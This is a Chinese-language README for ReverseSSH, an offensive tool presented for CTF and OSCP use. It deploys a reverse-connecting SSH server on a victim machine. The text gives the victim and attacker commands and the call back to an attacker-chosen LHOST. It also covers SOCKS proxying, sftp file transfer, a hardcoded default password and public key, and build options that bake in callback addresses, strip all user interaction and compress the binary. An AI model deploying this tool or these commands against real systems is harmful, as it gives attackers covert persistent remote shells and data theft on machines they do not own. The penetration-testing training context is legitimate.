一个静态链接的 SSH 服务器,具备反向连接功能,提供简单而强大的远程访问。在 HackTheBox 挑战、CTF 或类似场景中最为有用。
已在 OSCP 考试准备过程中开发并广泛使用。

用 netcat 捕获反向 shell 很酷,确实如此,但谁没有因为肌肉记忆而意外地用键盘中断关闭过反向 shell 呢?除了脆弱性之外,这样的 shell 通常还缺少完全交互式访问、TAB 补全或历史记录等便利功能。
相反,你可以选择在目标上部署 轻量级 SSH 服务器(<1.5MB)reverse-ssh,并利用 文件传输和 端口转发等额外功能!
ReverseSSH 试图弥合在目标上获得初始立足点与完全本地权限提升之间的差距。其主要优势如下:
Windows 注意事项
Windows 上的完全交互式 PowerShell 依赖于 Windows 伪控制台 ConPTY,因此至少需要 Win10 Build 17763。在更早的版本上,你仍然可以获得一个交互式反向 shell,但它无法处理虚拟终端代码(如方向键或键盘中断)。在这种情况下,你必须在命令后附加 cmd 参数,即 ssh <选项> <IP> cmd。
对于旧版 Windows,你可以通过将 来自 OpenSSH for Windows 的 ssh-shellhost.exe 放入与 reverse-ssh 相同的目录,并使用 -s ssh-shellhost.exe 标志,来实现完全交互式 shell 访问。这将把所有流量通过 ssh-shellhost.exe 进行管道传输,它模拟了一个 pty 并转换所有虚拟终端代码,以便 Windows 能够理解。
仅仅执行提供的二进制文件仅依赖于 golang 系统要求。
简而言之:
编译还需要以下内容:
upx 用于压缩(例如 apt install upx-ucl)一旦 reverse-ssh 在受害者机器上运行,你可以使用任何用户名和默认密码 letmeinbrudipls、SSH 密钥或你在编译时指定的任何内容进行连接。毕竟,它只是一个 SSH 服务器:
# 完全交互式 shell 访问
$ ssh -p <RPORT> <RHOST>
# 简单命令执行
$ ssh -p <RPORT> <RHOST> whoami
# 全面的文件传输
$ sftp -P <RPORT> <RHOST>
# 动态端口转发(作为 SOCKS 代理,端口 9050)
$ ssh -p <RPORT> -D 9050 <RHOST>
# 受害者
victim$ ./reverse-ssh
# 攻击者(默认密码:letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
注意:你可以编译 ReverseSSH 时,设置 LHOST 和 LPORT 参数以简化在目标上的执行,参见下文
# 在攻击者机器上(准备好捕获传入请求;
# 如果你已经运行了 SSH 守护进程(如 OpenSSH),则可以省略)
# 注意:LPORT 8888 可能与传入连接冲突;在这种情况下,请在受害者机器上使用 `-b 8889` 或类似标志
attacker$ ./reverse-ssh -v -l -p <LPORT>
# 在受害者机器上
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# 或者如果 SSH 守护进程监听端口 22,且用户 'kali' 使用密码认证
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# 在攻击者机器上(默认密码:letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# 或者使用下面的 SSH 配置
attacker$ ssh target
归根结底,它就是一个普通的 SSH,因此你可以用你监听在端口 22 上的 openssh 守护进程捕获来自受害者机器的远程端口转发调用。只需在目标前加上 <USER>@,并在提示时提供密码即可。目前,拨回家仅支持密码方式,因为我觉得还没有必要嵌入私钥……
为了更方便,将以下内容添加到你的 ~/.ssh/config,将 SSH 私钥 复制到 ~/.ssh/,然后直接调用 ssh target 或 sftp target:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
确保已安装上述要求(如正确版本并正确配置的 golang)。之后,你可以使用 make 编译,这将在 bin 目录中创建静态二进制文件。使用 make compressed 通过 upx 打包二进制文件以进一步减小体积。
$ make
# 或者额外创建用 upx 压缩的二进制文件
$ make compressed
你还可以在编译时指定以下一个或多个环境变量,以自定义 ReverseSSH 的用例:
RS_SHELL 更改默认 shellRS_PASS 提供你的自定义密码RS_PUB 提供你的自定义授权密钥LUSER 更改 SSH 连接尝试的默认用户名LHOST 提供默认 LHOST 值,并使 ReverseSSH 默认进入反向场景LPORT 更改默认监听端口或 SSH 连接尝试发送到的端口BPORT 更改攻击机器上反向连接的默认监听端口;0 表示使用任意空闲端口NOCLI 设置为任意值将移除所有用户交互(二进制文件忽略所有提供的标志或参数)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
默认情况下,reverse-ssh 会为当前操作系统和架构编译,同时也会为 Linux 和 Windows 的 x86 和 x64 编译。要为其他架构或其他操作系统编译,你可以提供与目标匹配的环境变量,例如为 linux/arm64:
$ GOARCH=arm64 GOOS=linux make compressed
可以通过 go tool dist list 获取可用目标列表,格式为 OS/arch。
缺少令人惊叹的功能?有任何运行不正常的?
请创建 issue 或 pull request!